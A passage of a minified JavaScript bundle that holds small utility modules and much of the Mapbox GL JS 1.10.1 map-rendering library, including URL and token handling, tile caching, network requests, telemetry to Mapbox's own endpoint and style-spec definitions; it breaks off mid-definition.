Z=Object.prototype.toString;te.exports=function(e){var M;return Z.call(e)==="[object Object]"&&(M=Object.getPrototypeOf(e),M===null||M===Object.getPrototypeOf({}))}},18546:function(te){te.exports=function(Z){for(var e=Z.length,M,P=0;P<e;P++)if(M=Z.charCodeAt(P),(M<9||M>13)&&M!==32&&M!==133&&M!==160&&M!==5760&&M!==6158&&(M<8192||M>8205)&&M!==8232&&M!==8233&&M!==8239&&M!==8287&&M!==8288&&M!==12288&&M!==65279)return!1;return!0}},89546:function(te){te.exports=function(e){return typeof e!="string"?!1:(e=e.trim(),!!(/^[mzlhvcsqta]\s*[-+.0-9][^mlhvzcsqta]+/i.test(e)&&/[\dz]$/i.test(e)&&e.length>4))}},9187:function(te,Z,e){var M=e(31353),P=e(72077),o=e(6614),L=o("Object.prototype.toString"),S=e(84543)(),d=e(40383),g=typeof globalThis>"u"?e.g:globalThis,t=P(),r=o("Array.prototype.indexOf",!0)||function(y,c){for(var b=0;b<y.length;b+=1)if(y[b]===c)return b;return-1},f=o("String.prototype.slice"),a={},l=Object.getPrototypeOf;S&&d&&l&&M(t,function(s){var y=new g[s];if(Symbol.toStringTag in y){var c=l(y),b=d(c,Symbol.toStringTag);if(!b){var h=l(c);b=d(h,Symbol.toStringTag)}a[s]=b.get}});var u=function(y){var c=!1;return M(a,function(b,h){if(!c)try{c=b.call(y)===h}catch{}}),c};te.exports=function(y){if(!y||typeof y!="object")return!1;if(!S||!(Symbol.toStringTag in y)){var c=f(L(y),8,-1);return r(t,c)>-1}return d?u(y):!1}},44517:function(te){(function(Z,e){te.exports=e()})(this,function(){var Z,e,M;function P(o,L){if(!Z)Z=L;else if(!e)e=L;else{var S="var sharedChunk = {}; ("+Z+")(sharedChunk); ("+e+")(sharedChunk);",d={};Z(d),M=L(d),M.workerUrl=window.URL.createObjectURL(new Blob([S],{type:"text/javascript"}))}}return P(["exports"],function(o){function L(R,D){return D={exports:{}},R(D,D.exports),D.exports}var S="1.10.1",d=g;function g(R,D,U,ee){this.cx=3*R,this.bx=3*(U-R)-this.cx,this.ax=1-this.cx-this.bx,this.cy=3*D,this.by=3*(ee-D)-this.cy,this.ay=1-this.cy-this.by,this.p1x=R,this.p1y=ee,this.p2x=U,this.p2y=ee}g.prototype.sampleCurveX=function(R){return((this.ax*R+this.bx)*R+this.cx)*R},g.prototype.sampleCurveY=function(R){return((this.ay*R+this.by)*R+this.cy)*R},g.prototype.sampleCurveDerivativeX=function(R){return(3*this.ax*R+2*this.bx)*R+this.cx},g.prototype.solveCurveX=function(R,D){typeof D>"u"&&(D=1e-6);var U,ee,ce,me,Se;for(ce=R,Se=0;Se<8;Se++){if(me=this.sampleCurveX(ce)-R,Math.abs(me)<D)return ce;var We=this.sampleCurveDerivativeX(ce);if(Math.abs(We)<1e-6)break;ce=ce-me/We}if(U=0,ee=1,ce=R,ce<U)return U;if(ce>ee)return ee;for(;U<ee;){if(me=this.sampleCurveX(ce),Math.abs(me-R)<D)return ce;R>me?U=ce:ee=ce,ce=(ee-U)*.5+U}return ce},g.prototype.solve=function(R,D){return this.sampleCurveY(this.solveCurveX(R,D))};var t=r;function r(R,D){this.x=R,this.y=D}r.prototype={clone:function(){return new r(this.x,this.y)},add:function(R){return this.clone()._add(R)},sub:function(R){return this.clone()._sub(R)},multByPoint:function(R){return this.clone()._multByPoint(R)},divByPoint:function(R){return this.clone()._divByPoint(R)},mult:function(R){return this.clone()._mult(R)},div:function(R){return this.clone()._div(R)},rotate:function(R){return this.clone()._rotate(R)},rotateAround:function(R,D){return this.clone()._rotateAround(R,D)},matMult:function(R){return this.clone()._matMult(R)},unit:function(){return this.clone()._unit()},perp:function(){return this.clone()._perp()},round:function(){return this.clone()._round()},mag:function(){return Math.sqrt(this.x*this.x+this.y*this.y)},equals:function(R){return this.x===R.x&&this.y===R.y},dist:function(R){return Math.sqrt(this.distSqr(R))},distSqr:function(R){var D=R.x-this.x,U=R.y-this.y;return D*D+U*U},angle:function(){return Math.atan2(this.y,this.x)},angleTo:function(R){return Math.atan2(this.y-R.y,this.x-R.x)},angleWith:function(R){return this.angleWithSep(R.x,R.y)},angleWithSep:function(R,D){return Math.atan2(this.x*D-this.y*R,this.x*R+this.y*D)},_matMult:function(R){var D=R[0]*this.x+R[1]*this.y,U=R[2]*this.x+R[3]*this.y;return this.x=D,this.y=U,this},_add:function(R){return this.x+=R.x,this.y+=R.y,this},_sub:function(R){return this.x-=R.x,this.y-=R.y,this},_mult:function(R){return this.x*=R,this.y*=R,this},_div:function(R){return this.x/=R,this.y/=R,this},_multByPoint:function(R){return this.x*=R.x,this.y*=R.y,this},_divByPoint:function(R){return this.x/=R.x,this.y/=R.y,this},_unit:function(){return this._div(this.mag()),this},_perp:function(){var R=this.y;return this.y=this.x,this.x=-R,this},_rotate:function(R){var D=Math.cos(R),U=Math.sin(R),ee=D*this.x-U*this.y,ce=U*this.x+D*this.y;return this.x=ee,this.y=ce,this},_rotateAround:function(R,D){var U=Math.cos(R),ee=Math.sin(R),ce=D.x+U*(this.x-D.x)-ee*(this.y-D.y),me=D.y+ee*(this.x-D.x)+U*(this.y-D.y);return this.x=ce,this.y=me,this},_round:function(){return this.x=Math.round(this.x),this.y=Math.round(this.y),this}},r.convert=function(R){return R instanceof r?R:Array.isArray(R)?new r(R[0],R[1]):R};function f(R,D){if(Array.isArray(R)){if(!Array.isArray(D)||R.length!==D.length)return!1;for(var U=0;U<R.length;U++)if(!f(R[U],D[U]))return!1;return!0}if(typeof R=="object"&&R!==null&&D!==null){if(typeof D!="object")return!1;var ee=Object.keys(R);if(ee.length!==Object.keys(D).length)return!1;for(var ce in R)if(!f(R[ce],D[ce]))return!1;return!0}return R===D}function a(R){if(R<=0)return 0;if(R>=1)return 1;var D=R*R,U=D*R;return 4*(R<.5?U:3*(R-D)+U-.75)}function l(R,D,U,ee){var ce=new d(R,D,U,ee);return function(me){return ce.solve(me)}}var u=l(.25,.1,.25,1);function s(R,D,U){return Math.min(U,Math.max(D,R))}function y(R,D,U){var ee=U-D,ce=((R-D)%ee+ee)%ee+D;return ce===D?U:ce}function c(R,D,U){if(!R.length)return U(null,[]);var ee=R.length,ce=new Array(R.length),me=null;R.forEach(function(Se,We){D(Se,function(at,dt){at&&(me=at),ce[We]=dt,--ee===0&&U(me,ce)})})}function b(R){var D=[];for(var U in R)D.push(R[U]);return D}function h(R,D){var U=[];for(var ee in R)ee in D||U.push(ee);return U}function i(R){for(var D=[],U=arguments.length-1;U-- >0;)D[U]=arguments[U+1];for(var ee=0,ce=D;ee<ce.length;ee+=1){var me=ce[ee];for(var Se in me)R[Se]=me[Se]}return R}function v(R,D){for(var U={},ee=0;ee<D.length;ee++){var ce=D[ee];ce in R&&(U[ce]=R[ce])}return U}var T=1;function w(){return T++}function E(){function R(D){return D?(D^Math.random()*16>>D/4).toString(16):([1e7]+-[1e3]+-4e3+-8e3+-1e11).replace(/[018]/g,R)}return R()}function p(R){return R?/^[0-9a-f]{8}-[0-9a-f]{4}-[4][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(R):!1}function A(R,D){R.forEach(function(U){D[U]&&(D[U]=D[U].bind(D))})}function m(R,D){return R.indexOf(D,R.length-D.length)!==-1}function n(R,D,U){var ee={};for(var ce in R)ee[ce]=D.call(U||this,R[ce],ce,R);return ee}function C(R,D,U){var ee={};for(var ce in R)D.call(U||this,R[ce],ce,R)&&(ee[ce]=R[ce]);return ee}function x(R){return Array.isArray(R)?R.map(x):typeof R=="object"&&R?n(R,x):R}function I(R,D){for(var U=0;U<R.length;U++)if(D.indexOf(R[U])>=0)return!0;return!1}var k={};function B(R){k[R]||(typeof console<"u"&&console.warn(R),k[R]=!0)}function _(R,D,U){return(U.y-R.y)*(D.x-R.x)>(D.y-R.y)*(U.x-R.x)}function F(R){for(var D=0,U=0,ee=R.length,ce=ee-1,me=void 0,Se=void 0;U<ee;ce=U++)me=R[U],Se=R[ce],D+=(Se.x-me.x)*(me.y+Se.y);return D}function O(R){var D=R[0],U=R[1],ee=R[2];return U+=90,U*=Math.PI/180,ee*=Math.PI/180,{x:D*Math.cos(U)*Math.sin(ee),y:D*Math.sin(U)*Math.sin(ee),z:D*Math.cos(ee)}}function z(){return typeof WorkerGlobalScope<"u"&&typeof self<"u"&&self instanceof WorkerGlobalScope}function N(R){var D=/(?:^|(?:\s*\,\s*))([^\x00-\x20\(\)<>@\,;\:\\"\/\[\]\?\=\{\}\x7F]+)(?:\=(?:([^\x00-\x20\(\)<>@\,;\:\\"\/\[\]\?\=\{\}\x7F]+)|(?:\"((?:[^"\\]|\\.)*)\")))?/g,U={};if(R.replace(D,function(ce,me,Se,We){var at=Se||We;return U[me]=at?at.toLowerCase():!0,""}),U["max-age"]){var ee=parseInt(U["max-age"],10);isNaN(ee)?delete U["max-age"]:U["max-age"]=ee}return U}var G=null;function J(R){if(G==null){var D=R.navigator?R.navigator.userAgent:null;G=!!R.safari||!!(D&&(/\b(iPad|iPhone|iPod)\b/.test(D)||D.match("Safari")&&!D.match("Chrome")))}return G}function q(R){try{var D=self[R];return D.setItem("_mapbox_test_",1),D.removeItem("_mapbox_test_"),!0}catch{return!1}}function ne(R){return self.btoa(encodeURIComponent(R).replace(/%([0-9A-F]{2})/g,function(D,U){return String.fromCharCode(+("0x"+U))}))}function fe(R){return decodeURIComponent(self.atob(R).split("").map(function(D){return"%"+("00"+D.charCodeAt(0).toString(16)).slice(-2)}).join(""))}var X=self.performance&&self.performance.now?self.performance.now.bind(self.performance):Date.now.bind(Date),W=self.requestAnimationFrame||self.mozRequestAnimationFrame||self.webkitRequestAnimationFrame||self.msRequestAnimationFrame,V=self.cancelAnimationFrame||self.mozCancelAnimationFrame||self.webkitCancelAnimationFrame||self.msCancelAnimationFrame,Y,Q,ie={now:X,frame:function(D){var U=W(D);return{cancel:function(){return V(U)}}},getImageData:function(D,U){U===void 0&&(U=0);var ee=self.document.createElement("canvas"),ce=ee.getContext("2d");if(!ce)throw new Error("failed to create canvas 2d context");return ee.width=D.width,ee.height=D.height,ce.drawImage(D,0,0,D.width,D.height),ce.getImageData(-U,-U,D.width+2*U,D.height+2*U)},resolveURL:function(D){return Y||(Y=self.document.createElement("a")),Y.href=D,Y.href},hardwareConcurrency:self.navigator.hardwareConcurrency||4,get devicePixelRatio(){return self.devicePixelRatio},get prefersReducedMotion(){return self.matchMedia?(Q==null&&(Q=self.matchMedia("(prefers-reduced-motion: reduce)")),Q.matches):!1}},j={API_URL:"https://api.mapbox.com",get EVENTS_URL(){return this.API_URL?this.API_URL.indexOf("https://api.mapbox.cn")===0?"https://events.mapbox.cn/events/v2":this.API_URL.indexOf("https://api.mapbox.com")===0?"https://events.mapbox.com/events/v2":null:null},FEEDBACK_URL:"https://apps.mapbox.com/feedback",REQUIRE_ACCESS_TOKEN:!0,ACCESS_TOKEN:null,MAX_PARALLEL_IMAGE_REQUESTS:16},K={supported:!1,testSupport:we},oe,re=!1,le,pe=!1;self.document&&(le=self.document.createElement("img"),le.onload=function(){oe&&xe(oe),oe=null,pe=!0},le.onerror=function(){re=!0,oe=null},le.src="data:image/webp;base64,UklGRh4AAABXRUJQVlA4TBEAAAAvAQAAAAfQ//73v/+BiOh/AAA=");function we(R){re||!le||(pe?xe(R):oe=R)}function xe(R){var D=R.createTexture();R.bindTexture(R.TEXTURE_2D,D);try{if(R.texImage2D(R.TEXTURE_2D,0,R.RGBA,R.RGBA,R.UNSIGNED_BYTE,le),R.isContextLost())return;K.supported=!0}catch{}R.deleteTexture(D),re=!0}var ke="01";function _e(){for(var R="1",D="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",U="",ee=0;ee<10;ee++)U+=D[Math.floor(Math.random()*62)];var ce=12*60*60*1e3,me=[R,ke,U].join(""),Se=Date.now()+ce;return{token:me,tokenExpiresAt:Se}}var be=function(D,U){this._transformRequestFn=D,this._customAccessToken=U,this._createSkuToken()};be.prototype._createSkuToken=function(){var D=_e();this._skuToken=D.token,this._skuTokenExpiresAt=D.tokenExpiresAt},be.prototype._isSkuTokenExpired=function(){return Date.now()>this._skuTokenExpiresAt},be.prototype.transformRequest=function(D,U){return this._transformRequestFn?this._transformRequestFn(D,U)||{url:D}:{url:D}},be.prototype.normalizeStyleURL=function(D,U){if(!ge(D))return D;var ee=$e(D);return ee.path="/styles/v1"+ee.path,this._makeAPIURL(ee,this._customAccessToken||U)},be.prototype.normalizeGlyphsURL=function(D,U){if(!ge(D))return D;var ee=$e(D);return ee.path="/fonts/v1"+ee.path,this._makeAPIURL(ee,this._customAccessToken||U)},be.prototype.normalizeSourceURL=function(D,U){if(!ge(D))return D;var ee=$e(D);return ee.path="/v4/"+ee.authority+".json",ee.params.push("secure"),this._makeAPIURL(ee,this._customAccessToken||U)},be.prototype.normalizeSpriteURL=function(D,U,ee,ce){var me=$e(D);return ge(D)?(me.path="/styles/v1"+me.path+"/sprite"+U+ee,this._makeAPIURL(me,this._customAccessToken||ce)):(me.path+=""+U+ee,Xe(me))},be.prototype.normalizeTileURL=function(D,U){if(this._isSkuTokenExpired()&&this._createSkuToken(),D&&!ge(D))return D;var ee=$e(D),ce=/(\.(png|jpg)\d*)(?=$)/,me=/^.+\/v4\//,Se=ie.devicePixelRatio>=2||U===512?"@2x":"",We=K.supported?".webp":"$1";ee.path=ee.path.replace(ce,""+Se+We),ee.path=ee.path.replace(me,"/"),ee.path="/v4"+ee.path;var at=this._customAccessToken||Ce(ee.params)||j.ACCESS_TOKEN;return j.REQUIRE_ACCESS_TOKEN&&at&&this._skuToken&&ee.params.push("sku="+this._skuToken),this._makeAPIURL(ee,at)},be.prototype.canonicalizeTileURL=function(D,U){var ee="/v4/",ce=/\.[\w]+$/,me=$e(D);if(!me.path.match(/(^\/v4\/)/)||!me.path.match(ce))return D;var Se="mapbox://tiles/";Se+=me.path.replace(ee,"");var We=me.params;return U&&(We=We.filter(function(at){return!at.match(/^access_token=/)})),We.length&&(Se+="?"+We.join("&")),Se},be.prototype.canonicalizeTileset=function(D,U){for(var ee=U?ge(U):!1,ce=[],me=0,Se=D.tiles||[];me<Se.length;me+=1){var We=Se[me];Fe(We)?ce.push(this.canonicalizeTileURL(We,ee)):ce.push(We)}return ce},be.prototype._makeAPIURL=function(D,U){var ee="See https://www.mapbox.com/api-documentation/#access-tokens-and-token-scopes",ce=$e(j.API_URL);if(D.protocol=ce.protocol,D.authority=ce.authority,ce.path!=="/"&&(D.path=""+ce.path+D.path),!j.REQUIRE_ACCESS_TOKEN)return Xe(D);if(U=U||j.ACCESS_TOKEN,!U)throw new Error("An API access token is required to use Mapbox GL. "+ee);if(U[0]==="s")throw new Error("Use a public access token (pk.*) with Mapbox GL, not a secret access token (sk.*). "+ee);return D.params=D.params.filter(function(me){return me.indexOf("access_token")===-1}),D.params.push("access_token="+U),Xe(D)};function ge(R){return R.indexOf("mapbox:")===0}var Te=/^((https?:)?\/\/)?([^\/]+\.)?mapbox\.c(n|om)(\/|\?|$)/i;function Fe(R){return Te.test(R)}function Oe(R){return R.indexOf("sku=")>0&&Fe(R)}function Ce(R){for(var D=0,U=R;D<U.length;D+=1){var ee=U[D],ce=ee.match(/^access_token=(.*)$/);if(ce)return ce[1]}return null}var Be=/^(\w+):\/\/([^/?]*)(\/[^?]+)?\??(.+)?/;function $e(R){var D=R.match(Be);if(!D)throw new Error("Unable to parse URL object");return{protocol:D[1],authority:D[2],path:D[3]||"/",params:D[4]?D[4].split("&"):[]}}function Xe(R){var D=R.params.length?"?"+R.params.join("&"):"";return R.protocol+"://"+R.authority+R.path+D}var Ze="mapbox.eventData";function Ke(R){if(!R)return null;var D=R.split(".");if(!D||D.length!==3)return null;try{var U=JSON.parse(fe(D[1]));return U}catch{return null}}var st=function(D){this.type=D,this.anonId=null,this.eventData={},this.queue=[],this.pendingRequest=null};st.prototype.getStorageKey=function(D){var U=Ke(j.ACCESS_TOKEN),ee="";return U&&U.u?ee=ne(U.u):ee=j.ACCESS_TOKEN||"",D?Ze+"."+D+":"+ee:Ze+":"+ee},st.prototype.fetchEventData=function(){var D=q("localStorage"),U=this.getStorageKey(),ee=this.getStorageKey("uuid");if(D)try{var ce=self.localStorage.getItem(U);ce&&(this.eventData=JSON.parse(ce));var me=self.localStorage.getItem(ee);me&&(this.anonId=me)}catch{B("Unable to read from LocalStorage")}},st.prototype.saveEventData=function(){var D=q("localStorage"),U=this.getStorageKey(),ee=this.getStorageKey("uuid");if(D)try{self.localStorage.setItem(ee,this.anonId),Object.keys(this.eventData).length>=1&&self.localStorage.setItem(U,JSON.stringify(this.eventData))}catch{B("Unable to write to LocalStorage")}},st.prototype.processRequests=function(D){},st.prototype.postEvent=function(D,U,ee,ce){var me=this;if(j.EVENTS_URL){var Se=$e(j.EVENTS_URL);Se.params.push("access_token="+(ce||j.ACCESS_TOKEN||""));var We={event:this.type,created:new Date(D).toISOString(),sdkIdentifier:"mapbox-gl-js",sdkVersion:S,skuId:ke,userId:this.anonId},at=U?i(We,U):We,dt={url:Xe(Se),headers:{"Content-Type":"text/plain"},body:JSON.stringify([at])};this.pendingRequest=wt(dt,function(xt){me.pendingRequest=null,ee(xt),me.saveEventData(),me.processRequests(ce)})}},st.prototype.queueRequest=function(D,U){this.queue.push(D),this.processRequests(U)};var lt=function(R){function D(){R.call(this,"map.load"),this.success={},this.skuToken=""}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.postMapLoadEvent=function(ee,ce,me,Se){this.skuToken=me,(j.EVENTS_URL&&Se||j.ACCESS_TOKEN&&Array.isArray(ee)&&ee.some(function(We){return ge(We)||Fe(We)}))&&this.queueRequest({id:ce,timestamp:Date.now()},Se)},D.prototype.processRequests=function(ee){var ce=this;if(!(this.pendingRequest||this.queue.length===0)){var me=this.queue.shift(),Se=me.id,We=me.timestamp;Se&&this.success[Se]||(this.anonId||this.fetchEventData(),p(this.anonId)||(this.anonId=E()),this.postEvent(We,{skuToken:this.skuToken},function(at){at||Se&&(ce.success[Se]=!0)},ee))}},D}(st),ut=function(R){function D(U){R.call(this,"appUserTurnstile"),this._customAccessToken=U}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.postTurnstileEvent=function(ee,ce){j.EVENTS_URL&&j.ACCESS_TOKEN&&Array.isArray(ee)&&ee.some(function(me){return ge(me)||Fe(me)})&&this.queueRequest(Date.now(),ce)},D.prototype.processRequests=function(ee){var ce=this;if(!(this.pendingRequest||this.queue.length===0)){(!this.anonId||!this.eventData.lastSuccess||!this.eventData.tokenU)&&this.fetchEventData();var me=Ke(j.ACCESS_TOKEN),Se=me?me.u:j.ACCESS_TOKEN,We=Se!==this.eventData.tokenU;p(this.anonId)||(this.anonId=E(),We=!0);var at=this.queue.shift();if(this.eventData.lastSuccess){var dt=new Date(this.eventData.lastSuccess),xt=new Date(at),Bt=(at-this.eventData.lastSuccess)/(24*60*60*1e3);We=We||Bt>=1||Bt<-1||dt.getDate()!==xt.getDate()}else We=!0;if(!We)return this.processRequests();this.postEvent(at,{"enabled.telemetry":!1},function(qt){qt||(ce.eventData.lastSuccess=at,ce.eventData.tokenU=Se)},ee)}},D}(st),yt=new ut,bt=yt.postTurnstileEvent.bind(yt),Ot=new lt,Ge=Ot.postMapLoadEvent.bind(Ot),Le="mapbox-tiles",Pe=500,De=50,Ee=1e3*60*7,ye;function ae(){self.caches&&!ye&&(ye=self.caches.open(Le))}var de;function Me(R,D){if(de===void 0)try{new Response(new ReadableStream),de=!0}catch{de=!1}de?D(R.body):R.blob().then(D)}function Ie(R,D,U){if(ae(),!!ye){var ee={status:D.status,statusText:D.statusText,headers:new self.Headers};D.headers.forEach(function(Se,We){return ee.headers.set(We,Se)});var ce=N(D.headers.get("Cache-Control")||"");if(!ce["no-store"]){ce["max-age"]&&ee.headers.set("Expires",new Date(U+ce["max-age"]*1e3).toUTCString());var me=new Date(ee.headers.get("Expires")).getTime()-U;me<Ee||Me(D,function(Se){var We=new self.Response(Se,ee);ae(),ye&&ye.then(function(at){return at.put(Qe(R.url),We)}).catch(function(at){return B(at.message)})})}}}function Qe(R){var D=R.indexOf("?");return D<0?R:R.slice(0,D)}function et(R,D){if(ae(),!ye)return D(null);var U=Qe(R.url);ye.then(function(ee){ee.match(U).then(function(ce){var me=pt(ce);ee.delete(U),me&&ee.put(U,ce.clone()),D(null,ce,me)}).catch(D)}).catch(D)}function pt(R){if(!R)return!1;var D=new Date(R.headers.get("Expires")||0),U=N(R.headers.get("Cache-Control")||"");return D>Date.now()&&!U["no-cache"]}var St=1/0;function _t(R){St++,St>De&&(R.getActor().send("enforceCacheSizeLimit",Pe),St=0)}function Ft(R){ae(),ye&&ye.then(function(D){D.keys().then(function(U){for(var ee=0;ee<U.length-R;ee++)D.delete(U[ee])})})}function Tt(R){var D=self.caches.delete(Le);R&&D.catch(R).then(function(){return R()})}function Gt(R,D){Pe=R,De=D}var er;function Pr(){return er==null&&(er=self.OffscreenCanvas&&new self.OffscreenCanvas(1,1).getContext("2d")&&typeof self.createImageBitmap=="function"),er}var ct={Unknown:"Unknown",Style:"Style",Source:"Source",Tile:"Tile",Glyphs:"Glyphs",SpriteImage:"SpriteImage",SpriteJSON:"SpriteJSON",Image:"Image"};typeof Object.freeze=="function"&&Object.freeze(ct);var Vt=function(R){function D(U,ee,ce){ee===401&&Fe(ce)&&(U+=": you may have provided an invalid Mapbox access token. See https://www.mapbox.com/api-documentation/#access-tokens-and-token-scopes"),R.call(this,U),this.status=ee,this.url=ce,this.name=this.constructor.name,this.message=U}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D.prototype.toString=function(){return this.name+": "+this.message+" ("+this.status+"): "+this.url},D}(Error),Ut=z()?function(){return self.worker&&self.worker.referrer}:function(){return(self.location.protocol==="blob:"?self.parent:self).location.href},dr=function(R){return/^file:/.test(R)||/^file:/.test(Ut())&&!/^\w+:/.test(R)};function sr(R,D){var U=new self.AbortController,ee=new self.Request(R.url,{method:R.method||"GET",body:R.body,credentials:R.credentials,headers:R.headers,referrer:Ut(),signal:U.signal}),ce=!1,me=!1,Se=Oe(ee.url);R.type==="json"&&ee.headers.set("Accept","application/json");var We=function(dt,xt,Bt){if(!me){if(dt&&dt.message!=="SecurityError"&&B(dt),xt&&Bt)return at(xt);var qt=Date.now();self.fetch(ee).then(function(Zt){if(Zt.ok){var vr=Se?Zt.clone():null;return at(Zt,vr,qt)}else return D(new Vt(Zt.statusText,Zt.status,R.url))}).catch(function(Zt){Zt.code!==20&&D(new Error(Zt.message))})}},at=function(dt,xt,Bt){(R.type==="arrayBuffer"?dt.arrayBuffer():R.type==="json"?dt.json():dt.text()).then(function(qt){me||(xt&&Bt&&Ie(ee,xt,Bt),ce=!0,D(null,qt,dt.headers.get("Cache-Control"),dt.headers.get("Expires")))}).catch(function(qt){me||D(new Error(qt.message))})};return Se?et(ee,We):We(null,null),{cancel:function(){me=!0,ce||U.abort()}}}function nt(R,D){var U=new self.XMLHttpRequest;U.open(R.method||"GET",R.url,!0),R.type==="arrayBuffer"&&(U.responseType="arraybuffer");for(var ee in R.headers)U.setRequestHeader(ee,R.headers[ee]);return R.type==="json"&&(U.responseType="text",U.setRequestHeader("Accept","application/json")),U.withCredentials=R.credentials==="include",U.onerror=function(){D(new Error(U.statusText))},U.onload=function(){if((U.status>=200&&U.status<300||U.status===0)&&U.response!==null){var ce=U.response;if(R.type==="json")try{ce=JSON.parse(U.response)}catch(me){return D(me)}D(null,ce,U.getResponseHeader("Cache-Control"),U.getResponseHeader("Expires"))}else D(new Vt(U.statusText,U.status,R.url))},U.send(R.body),{cancel:function(){return U.abort()}}}var rt=function(R,D){if(!dr(R.url)){if(self.fetch&&self.Request&&self.AbortController&&self.Request.prototype.hasOwnProperty("signal"))return sr(R,D);if(z()&&self.worker&&self.worker.actor){var U=!0;return self.worker.actor.send("getResource",R,D,void 0,U)}}return nt(R,D)},vt=function(R,D){return rt(i(R,{type:"json"}),D)},gt=function(R,D){return rt(i(R,{type:"arrayBuffer"}),D)},wt=function(R,D){return rt(i(R,{method:"POST"}),D)};function mt(R){var D=self.document.createElement("a");return D.href=R,D.protocol===self.document.location.protocol&&D.host===self.document.location.host}var Pt="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAC0lEQVQYV2NgAAIAAAUAAarVyFEAAAAASUVORK5CYII=";function zt(R,D,U,ee){var ce=new self.Image,me=self.URL;ce.onload=function(){D(null,ce),me.revokeObjectURL(ce.src)},ce.onerror=function(){return D(new Error("Could not load image. Please make sure to use a supported image type such as PNG or JPEG. Note that SVGs are not supported."))};var Se=new self.Blob([new Uint8Array(R)],{type:"image/png"});ce.cacheControl=U,ce.expires=ee,ce.src=R.byteLength?me.createObjectURL(Se):Pt}function Xt(R,D){var U=new self.Blob([new Uint8Array(R)],{type:"image/png"});self.createImageBitmap(U).then(function(ee){D(null,ee)}).catch(function(ee){D(new Error("Could not load image because of "+ee.message+". Please make sure to use a supported image type such as PNG or JPEG. Note that SVGs are not supported."))})}var Yt,$t,yr=function(){Yt=[],$t=0};yr();var Ue=function(R,D){if(K.supported&&(R.headers||(R.headers={}),R.headers.accept="image/webp,*/*"),$t>=j.MAX_PARALLEL_IMAGE_REQUESTS){var U={requestParameters:R,callback:D,cancelled:!1,cancel:function(){this.cancelled=!0}};return Yt.push(U),U}$t++;var ee=!1,ce=function(){if(!ee)for(ee=!0,$t--;Yt.length&&$t<j.MAX_PARALLEL_IMAGE_REQUESTS;){var Se=Yt.shift(),We=Se.requestParameters,at=Se.callback,dt=Se.cancelled;dt||(Se.cancel=Ue(We,at).cancel)}},me=gt(R,function(Se,We,at,dt){ce(),Se?D(Se):We&&(Pr()?Xt(We,D):zt(We,D,at,dt))});return{cancel:function(){me.cancel(),ce()}}},Ne=function(R,D){var U=self.document.createElement("video");U.muted=!0,U.onloadstart=function(){D(null,U)};for(var ee=0;ee<R.length;ee++){var ce=self.document.createElement("source");mt(R[ee])||(U.crossOrigin="Anonymous"),ce.src=R[ee],U.appendChild(ce)}return{cancel:function(){}}};function Et(R,D,U){var ee=U[R]&&U[R].indexOf(D)!==-1;ee||(U[R]=U[R]||[],U[R].push(D))}function Lt(R,D,U){if(U&&U[R]){var ee=U[R].indexOf(D);ee!==-1&&U[R].splice(ee,1)}}var Nt=function(D,U){U===void 0&&(U={}),i(this,U),this.type=D},rr=function(R){function D(U,ee){ee===void 0&&(ee={}),R.call(this,"error",i({error:U},ee))}return R&&(D.__proto__=R),D.prototype=Object.create(R&&R.prototype),D.prototype.constructor=D,D}(Nt),tr=function(){};tr.prototype.on=function(D,U){return this._listeners=this._listeners||{},Et(D,U,this._listeners),this},tr.prototype.off=function(D,U){return Lt(D,U,this._listeners),Lt(D,U,this._oneTimeListeners),this},tr.prototype.once=function(D,U){return this._oneTimeListeners=this._oneTimeListeners||{},Et(D,U,this._oneTimeListeners),this},tr.prototype.fire=function(D,U){typeof D=="string"&&(D=new Nt(D,U||{}));var ee=D.type;if(this.listens(ee)){D.target=this;for(var ce=this._listeners&&this._listeners[ee]?this._listeners[ee].slice():[],me=0,Se=ce;me<Se.length;me+=1){var We=Se[me];We.call(this,D)}for(var at=this._oneTimeListeners&&this._oneTimeListeners[ee]?this._oneTimeListeners[ee].slice():[],dt=0,xt=at;dt<xt.length;dt+=1){var Bt=xt[dt];Lt(ee,Bt,this._oneTimeListeners),Bt.call(this,D)}var qt=this._eventedParent;qt&&(i(D,typeof this._eventedParentData=="function"?this._eventedParentData():this._eventedParentData),qt.fire(D))}else D instanceof rr&&console.error(D.error);return this},tr.prototype.listens=function(D){return this._listeners&&this._listeners[D]&&this._listeners[D].length>0||this._oneTimeListeners&&this._oneTimeListeners[D]&&this._oneTimeListeners[D].length>0||this._eventedParent&&this._eventedParent.listens(D)},tr.prototype.setEventedParent=function(D,U){return this._eventedParent=D,this._eventedParentData=U,this};var Jt=8,It={version:{required:!0,type:"enum",values:[8]},name:{type:"string"},metadata:{type:"*"},center:{type:"array",value:"number"},zoom:{type:"number"},bearing:{type:"number",default:0,period:360,units:"degrees"},pitch:{type:"number",default:0,units:"degrees"},light:{type:"light"},sources:{required:!0,type:"sources"},sprite:{type:"string"},glyphs:{type:"string"},transition:{type:"transition"},layers:{required:!0,type:"array",value:"layer"}},or={"*":{type:"source"}},ur=["source_vector","source_raster","source_raster_dem","source_geojson","source_video","source_image"],fr={type:{required:!0,type:"enum",values:{vector:{}}},url:{type:"string"},tiles:{type:"array",value:"string"},bounds:{type:"array",value:"number",length:4,default:[-180,-85.051129,180,85.051129]},scheme:{type:"enum",values:{xyz:{},tms:{}},default:"xyz"},minzoom:{type:"number",default:0},maxzoom:{type:"number",default:22},attribution:{type:"string"},promoteId:{type:"promoteId"},"*":{type:"*"}},lr={type:{required:!0,type:"enum",values:{raster:{}}},url:{type:"string"},tiles:{type:"array",value:"string"},bounds:{type:"array",value:"number",length:4,default:[-180,-85.051129,180,85.051129]},minzoom:{type:"number",default:0},maxzoom:{type:"number",default:22},tileSize:{type:"number",default:512,units:"pixels"},scheme:{type:"enum",values:{xyz:{},tms:{}},default:"xyz"},attribution:{type:"string"},"*":{type:"*"}},Nr={type:{required:!0,type:"enum",values:{"raster-dem":{}}},url:{type:"string"},tiles:{type:"array",value:"string"},bounds:{type:"array",value:"number",length:4,default:[-180,-85.051129,180,85.051129]},minzoom:{type:"number",default:0},maxzoom:{type:"number",default:22},tileSize:{type:"number",default:512,units:"pixels"},attribution:{type:"string"},encoding:{type:"enum",values:{terrarium:{},mapbox:{}},default:"m